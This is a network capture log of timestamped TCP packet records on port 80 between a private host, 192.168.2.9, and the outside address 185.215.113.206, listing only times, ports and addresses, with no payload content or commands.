Dec 16, 2024 10:38:14.708769083 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.708848953 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.708888054 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.709688902 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.709701061 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.709727049 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.709745884 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.710424900 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.710463047 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.710827112 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.710866928 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.711364031 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.711462021 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.711497068 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.711540937 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.712084055 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.712132931 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.712210894 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.712249994 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.712971926 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.713016987 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.713047028 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.713088036 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.713839054 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.713860989 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.713898897 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.713917017 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.714642048 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.714682102 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.714931965 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.714973927 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.715509892 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.715552092 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.715595961 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.715631962 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.716365099 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.716378927 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.716407061 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.716422081 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.717170954 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.717211008 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.717272997 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.717310905 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.718108892 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.718120098 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.718147039 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.718163013 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.718918085 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.718961000 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.718975067 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.719017029 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.719775915 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.719816923 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.719908953 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.719952106 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.720556021 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.720628977 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.720652103 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.720694065 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.721414089 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.721457958 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.721549034 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.721590042 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.722351074 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.722394943 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.722419977 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.722459078 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.723102093 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.723146915 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.723184109 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.723225117 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.723983049 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.724031925 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.724039078 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.724081993 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.724797964 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.724843979 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.724883080 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.724925041 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.725647926 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.725697041 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.725765944 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.725806952 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.726506948 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.726547003 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.726716995 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.726762056 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.727340937 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.727380037 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.727436066 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.727576017 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.728183031 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.728220940 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.728353024 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.728393078 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.729150057 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.729170084 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.729201078 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.729223967 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.729897976 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.729919910 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.729943991 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.729959965 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.730772018 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.730783939 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.730809927 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.730828047 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.731605053 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.731651068 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.731802940 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.731842041 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.732446909 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.732459068 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.732489109 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.733275890 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.733314991 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.733484030 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.733532906 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.734112978 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.734155893 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.734253883 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.734296083 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.735086918 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.735131025 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.735330105 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.735369921 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.735804081 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.735846996 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.736049891 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.736090899 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.736684084 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.736723900 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.736752987 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.736788988 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.737570047 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.737584114 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.737616062 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.737629890 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.738327026 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.738372087 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.886128902 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.886190891 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.886297941 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.886338949 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.886497974 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.886534929 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.886569977 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.886609077 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.887357950 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.887402058 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.887471914 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.887512922 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.888205051 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.888245106 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.888304949 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.888355970 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.889049053 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.889101028 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.889112949 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.889147997 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.889902115 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.889914989 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.889942884 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.889957905 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.890841961 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.890853882 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.890889883 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.890904903 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.891572952 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.891611099 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.891714096 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.891762018 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.892400980 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.892443895 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.892560959 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.892597914 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.893410921 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.893424034 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.893464088 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.894089937 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.894129992 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.894208908 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.894249916 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.894968987 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.895014048 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.895023108 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.895056963 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.895873070 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.895885944 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.895920992 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.896656990 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.896698952 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.896867990 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.896914959 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.897593975 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.897605896 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.897639036 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.897650957 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.898406029 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.898432970 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.898452997 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.898468018 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.899208069 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.899219990 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.899250031 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.899262905 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.900208950 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.900264978 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.900266886 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.900295973 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.900964022 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.900975943 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.901009083 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.901026964 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.901743889 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.901792049 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:14.901904106 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:14.901952028 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.078030109 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.078123093 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.120611906 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.241960049 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.563595057 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.563615084 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.563637972 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.563709974 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.563755035 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.563899040 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.563915014 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.564474106 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.564497948 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.564532042 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.564584017 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.565264940 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.565321922 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.565357924 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.565401077 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.566121101 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.566173077 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.566241026 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.566296101 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.567008972 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.567054987 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.567109108 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.567159891 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.567797899 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.567850113 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.567914963 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.567964077 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.568690062 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.568743944 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.568793058 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.568833113 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.569498062 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.569545984 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.569586039 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.569636106 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.570353985 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.570406914 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.570446968 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.570492029 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.571182966 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.571276903 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.571299076 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.571341038 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.572043896 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.572091103 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.572141886 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.572187901 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.572874069 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.572926044 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.572966099 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.573014021 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.573726892 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.573776960 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.573818922 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.573858976 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.574584007 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.574634075 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.574670076 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.574709892 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.575421095 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.575470924 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.575541973 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.575587988 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.576277018 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.576325893 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.576463938 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.576510906 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.577120066 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.577168941 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.577224016 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.577267885 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.577944040 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.577995062 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.578035116 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.578088999 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.578792095 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.578843117 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.578919888 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.578967094 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.579651117 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.579701900 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.579742908 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.579788923 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.580498934 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.580560923 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.580595970 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.580641985 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.581340075 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.581384897 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.581444979 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.581486940 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.582225084 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.582273006 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.582288980 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.582333088 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.583045006 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.583093882 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.583134890 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.583187103 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.583910942 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.583956957 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.583964109 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.583997965 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.584739923 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.584794044 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.584836006 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.584882021 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.585577965 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.585633039 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.585675001 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.585747004 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.586437941 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.586462021 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.586487055 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.586507082 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.587250948 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:15.587301016 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:15.587352991 CET	80	49896	185.215.113.206	192.168.2.9
